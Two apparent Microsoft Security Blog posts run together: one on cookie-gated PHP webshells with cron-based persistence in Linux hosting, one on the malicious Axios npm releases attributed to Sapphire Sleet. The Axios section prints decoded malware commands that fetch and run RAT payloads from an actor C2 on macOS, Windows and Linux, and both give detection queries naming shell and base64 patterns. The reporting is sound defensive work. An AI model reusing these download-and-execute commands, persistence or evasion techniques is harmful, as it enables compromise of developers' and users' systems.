Threat actors are increasingly abusing HTTP cookies as a control channel for PHP-based webshells on Linux servers. Instead of exposing command execution through URL parameters or request bodies, these webshells rely on threat actor-supplied cookie values to gate execution, pass instructions, and activate malicious functionality.

This approach reduces visibility by allowing malicious code to remain dormant during normal application behavior and execute only when specific cookie conditions are met. This technique has been observed across multiple execution contexts, including web requests, scheduled tasks, and trusted background workers.

The consistent use of cookies as a control mechanism suggests reuse of established webshell tradecraft. By shifting control logic into cookies, threat actors enable persistent post-compromise access that can evade many traditional inspection and logging controls.

Cookie-controlled execution behavior

Across the activity analyzed, HTTP cookies acted as the primary trigger for malicious execution. Instead of exposing functionality through visible URL parameters or request bodies, the webshell logic remained dormant unless specific cookie values were present. Only when those conditions were satisfied did the script reconstruct and execute threat actor–controlled behavior.

Threat actors likely prefer this approach because cookies blend into normal web traffic and often receive less scrutiny than request paths or payloads. In PHP, cookie values are immediately available at runtime, for example through the $_COOKIE superglobal, allowing malicious code to consume attacker-supplied input without additional parsing. By shifting execution control into cookies, the webshell can remain hidden in normal traffic, activating only during deliberate interactions. This reduces routine logging and inspection visibility while enabling persistent access without frequent changes to files on disk.

Observed variants of cookie-controlled PHP web shells

Although the core technique remained consistent across incidents, the PHP implementations varied in structure and complexity. The following examples illustrate how attackers adapted the same cookie-controlled execution model across different environments. 

Loader with execution gating and layered obfuscation

One observed implementation introduced an additional execution gate before processing any cookie input. The loader first evaluated request context and reconstructed core PHP functions dynamically using arithmetic operations and string manipulation. Sensitive function names were intentionally absent in cleartext, significantly reducing obvious indicators and complicating pattern-based detection. 

After the initial base64 decoding, the PHP script did not immediately reveal obvious command functionality. Instead, it exposed a second, deliberate layer of obfuscation. Critical operations were rebuilt programmatically at runtime, with function names and execution logic assembled character-by-character. This design ensured that meaningful behavior remained concealed until execution conditions were satisfied.

Only after these runtime checks passed did the script begin parsing structured cookie input. Cookie values were segmented and transformed into function identifiers, file paths, and decoding routines. If a secondary payload was not already present, the loader reconstructed it from encoded data, wrote it to a dynamically determined location, and transferred execution using ‘include’. 

This layered approach separated deployment, obfuscation, and activation into distinct stages. Under routine traffic, the file appeared inert. When supplied with deliberate attacker-controlled input, however, it transitioned into a fully functional execution framework.

Direct cookie-driven payload stager

Another observed implementation relied on structured cookie data without extensive preliminary gating. The script segmented cookie input to reconstruct operational components such as file handling and decoding functions. As with the previous loader, it conditionally wrote a secondary payload to disk and executed it if absent.

Although simpler in structure, this variant achieved the same objective: staged deployment and execution controlled by cookie values rather than visible request parameters.

Cookie-gated interactive webshell

A streamlined variant was also observed in which a single cookie value acts as an execution key. When the expected cookie condition is met, the script enables threat actor–controlled actions, including direct execution of supplied input and, in some cases, file upload. Unlike staged loader chains, this implementation operates within a single script and does not rely on a separate secondary payload written to disk.

In this design, cookies primarily serve as a validation mechanism rather than a payload container.

Observed attack flow: Persistence through scheduled tasks

During incident investigation, we analyzed a compromise in which the threat actor prioritized durable, low-noise persistence within a hosted Linux environment. After obtaining access to the victim’s hosting account, the threat actor used the platform’s legitimate management interface, such as a control panel workflow, to register a cron job. In environments that provide restricted shell access, for example via /usr/local/cpanel/bin/jailshell, authenticated users can execute commands within their account boundary, including registering or launching scheduled tasks. Because these actions follow normal administrative paths, they appear as routine account-level operations rather than overt system modifications.

In shared hosting scenarios, this level of access is typically equivalent to user-level control within the account’s isolated environment. While it does not indicate root-level compromise or control of the underlying server, it provides sufficient capability to modify web content, deploy PHP scripts, and schedule recurring execution through cron. These permissions are often enough to convert temporary access into persistent remote code execution within the hosted account.

As illustrated in the diagram, the cron job executed at regular intervals and invoked a shell routine that reconstructed an obfuscated PHP loader into a web-accessible location. This behavior was intentionally implemented to maintain persistence. If the loader was removed, the scheduled task recreated it on the next execution cycle. The job also applied restrictive file permissions, making manual modification or removal more difficult during incident response.

This “self-healing” mechanism, controlled by the threat actor, allowed the malicious file to reappear after cleanup attempts, complicating remediation and enabling a more stable foothold within the affected hosting account.

Once deployed, the PHP loader followed the same low-visibility pattern described earlier. It remained inactive during normal traffic and activated only when specific cookie conditions were met. On activation, it dynamically rebuilt functionality at runtime and transferred execution to threat actor–controlled logic. By separating persistence through cron-based re-creation from execution control through cookie-gated activation, the threat actor reduced operational noise and limited observable indicators in routine application logs.

Commonalities and delivery methods

Across the activity analyzed, a consistent operational pattern emerged. While individual implementations varied in structure, each relied on multi-layer obfuscation to conceal sensitive functionality and cookie-gated execution to control activation. Under routine traffic conditions, the scripts remained dormant. Only when specific cookie values were supplied did the malicious logic reconstruct and execute. Whether deployed as a staged loader or an interactive webshell, the objective remained consistent: controlled activation with minimal observable footprint.

The delivery mechanism followed a similarly deliberate design. In multiple environments, web-facing processes such as php-fpm spawned shell commands that reconstructed obfuscated PHP files using the recognizable echo | base64 -d > file.php pattern. In other cases, equivalent commands were executed within restricted shell environments, such as through cPanel jailshell, or established via scheduled tasks at the hosting account level.

Rather than relying on complex exploit chains, the threat actor leveraged legitimate execution paths already present in the environment, including web server processes, control panel components, and cron infrastructure, to stage and preserve malicious code. The repeated use of base64 reconstruction combined with multi-layer runtime obfuscation separated deployment, concealment, and activation into distinct phases. This layered design allowed the malicious code to blend into normal operational activity while maintaining reliable remote code execution.

Why persistence enables long-term remote code execution

In the attacks analyzed, persistence was deliberate, not incidental. Rather than depending on a single exploit or a short-lived foothold, the threat actor turned initial access into a repeatable mechanism for remote code execution (RCE). By combining scheduled tasks with obfuscated PHP loaders, they preserved the ability to execute code even after the original entry point was remediated or access paths were disrupted.

Persistent RCE provides long-term flexibility. It allows threat actors to return on demand to run additional commands, deploy follow-on payloads, alter application behavior, or pivot to other resources without repeatedly re-triggering the same exploit chain. This reduces operational risk and can limit the number of noisy intrusion attempts that might otherwise raise alerts.

In shared hosting environments, account-level access is often sufficient to create scheduled tasks, modify web content, and run arbitrary PHP within the affected site’s boundaries. When execution is further protected behind cookie-gated activation, the malicious logic can remain dormant during routine activity and activate only when the threat actor supplies the correct input. Over time, this durable access can support data theft, expansion to adjacent applications, or compromise of connected services, often with minimal visible disruption.

Mitigation and protection guidance 

Microsoft recommends the following mitigations to reduce the impact of PHP webshell–based compromises discussed in this report. These recommendations build on established guidance from previous Microsoft Defender research and align with protections available across Microsoft Defender XDR to help organizations prevent, detect, and respond to post-compromise web shell activity targeting web servers and application workloads. 

Strengthen Hosting Account Security 
Enforce multi-factor authentication for hosting control panels, SSH access, and administrative interfaces. Monitor for unusual login activity, particularly from unfamiliar IP addresses or geographies, as compromised account credentials are often sufficient to deploy webshells and create persistence mechanisms. 

Restrict Web Server Process Execution 
Limit the ability of web‑facing services such as php‑fpm or application worker workloads to spawn shell processes. Restrict the execution of shell interpreters (sh, bash, dash) and commonly abused encoding or file ingress utilities such as base64, curl, and wget from web server execution contexts unless they are explicitly required by the application.  

Advanced Hunting can be used to surface cases where web server workloads spawn shell interpreters or execute encoded or file‑retrieval commands, as these patterns provide high‑signal indicators of webshell execution and command injection attempts. 

Audit and Monitor Scheduled Tasks 
Regularly review account‑level cron jobs and scheduled tasks across web servers and application hosts. Unexpected entries that invoke shell commands or write files into web‑accessible directories may indicate persistence mechanisms used to deploy, restore, or re‑activate malicious webshell loaders.  

Advanced Hunting can be used to identify cron‑initiated execution patterns, including unusually short execution intervals (for example, recurring one‑minute jobs) and command lines associated with file creation, script execution, encoding utilities, or file ingress tools. These behaviours are commonly observed during web shell persistence and recovery activity following initial compromise 

Inspect Suspicious File Creation in Web Directories 
Focus on suspicious content deployment into web directories by monitoring the command‑line techniques used to write or retrieve files, rather than relying on file creation telemetry alone. Attackers frequently deploy PHP web shells by decoding obfuscated payloads inline (for example, using echo piped to base64 -d with output redirection) or by downloading scripts via file ingress tools such as curl or wget from web server or application execution contexts.  

Advanced Hunting can be used to identify these behaviors by querying process execution events for decoding pipelines, redirection operators, or network retrieval utilities associated with web-facing workloads, providing high‑signal visibility into webshell deployment activity. 

Limit Control Panel Shell Capabilities 
Where hosting control panels are used, restrict or disable shell access such as jailshell wherever possible. If shell access is required, enforce strict access controls and closely monitor command execution to reduce the risk of attackers abusing these environments to deploy or interact with malicious PHP loaders and webshells.

Advanced hunting queries that track command execution from control panel restricted shells can help identify abuse patterns in which attackers leverage legitimate hosting features to maintain access or execute post-compromise tooling. 

Microsoft recommends the following mitigations to reduce the impact of this threat in Linux environments protected by Microsoft Defender for Endpoint: 

• Enable cloud-delivered protection in Microsoft Defender for Endpoint on Linux or the equivalent capability in your antivirus solution. Cloud-based protection helps rapidly detect and block emerging attacker tools, including newly deployed PHP webshells and post-compromise scripts that may evade traditional signature-based detection. 

• Ensure real-time protection is enabled on Linux servers to continuously scan files written to disk, including web directories commonly targeted during PHP web shell deployment (such as /var/www, application upload paths, and temporary directories). 

• Enable behaviour monitoring to detect suspicious runtime activity associated with webshell abuse, such as anomalous child processes spawned by web server processes, execution of system utilities from PHP interpreters, credential access attempts, or data staging and exfiltration behaviours.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. Security teams can leverage Copilot to assist with the analysis and interpretation of obfuscated or heavily encoded scripts, helping accelerate triage and improve understanding of attacker tradecraft during web shell and post-compromise investigations. 

Microsoft Security Copilot prompts

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation   

• Microsoft User analysis   

• Threat actor profile   

• Threat Intelligence 360 report based on MDTI article   

• Vulnerability impact assessment   

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR threat analytics

Advanced Hunting queries    

Web Server Spawning Shell 

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, InitiatingProcessCommandLine, 
          FileName, ProcessCommandLine, FolderPath 
| order by Timestamp desc 

Base64 Decode Writing PHP File 

DeviceProcessEvents 
| where FileName in~ ("bash", "sh", "dash", "jailshell") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          ProcessCommandLine, 
          InitiatingProcessFileName, 
          InitiatingProcessCommandLine 
| order by Timestamp desc 

tee Writing PHP Files

DeviceProcessEvents 
| where ProcessCommandLine has "tee" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc 

cPanel / jailshell Abuse

DeviceProcessEvents 
| where FileName in~ ("jailshell", "cpanel") 
| project Timestamp, DeviceName, AccountName, 
          FileName, ProcessCommandLine, 
          InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

High-Risk Combined Pattern

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx", "cron", "crond") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has_any (".php", "public_html", "vendor") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc

Unexpected Shell from Backend Workers

DeviceProcessEvents 
| where InitiatingProcessCommandLine has_any ("artisan", "queue:work", "fwconsole") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, 
          InitiatingProcessCommandLine, 
          ProcessCommandLine 
| order by Timestamp desc 

Repeated Execution Pattern (1-Minute Cron)

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("cron", "crond") 
| summarize count() by DeviceName, ProcessCommandLine, bin(Timestamp, 1m) 
| where count_ > 10 
| order by count_ desc

MITRE ATT&CK™ Techniques observed

This campaign exhibited the following MITRE ATT&CK™ techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR Detections section below. 

References

• Microsoft Security Blog – Ghost in the Shell: Investigating Web Shell Attacks 
  http://approjects.co.za/?big=en-us/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/  

• Gigamon – Investigating Web Shells 
  https://blog.gigamon.com/2022/09/28/investigating-web-shells/  

• Imperva – What Is a Web Shell? 
  https://www.imperva.com/learn/application-security/web-shell/  

• Acunetix – An Introduction to Web Shells 
  https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/  

This research is provided by Microsoft Defender Security Research with contributions from Yashashree Gund and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Cookie-controlled PHP webshells: A stealthy tradecraft in Linux hosting environments appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

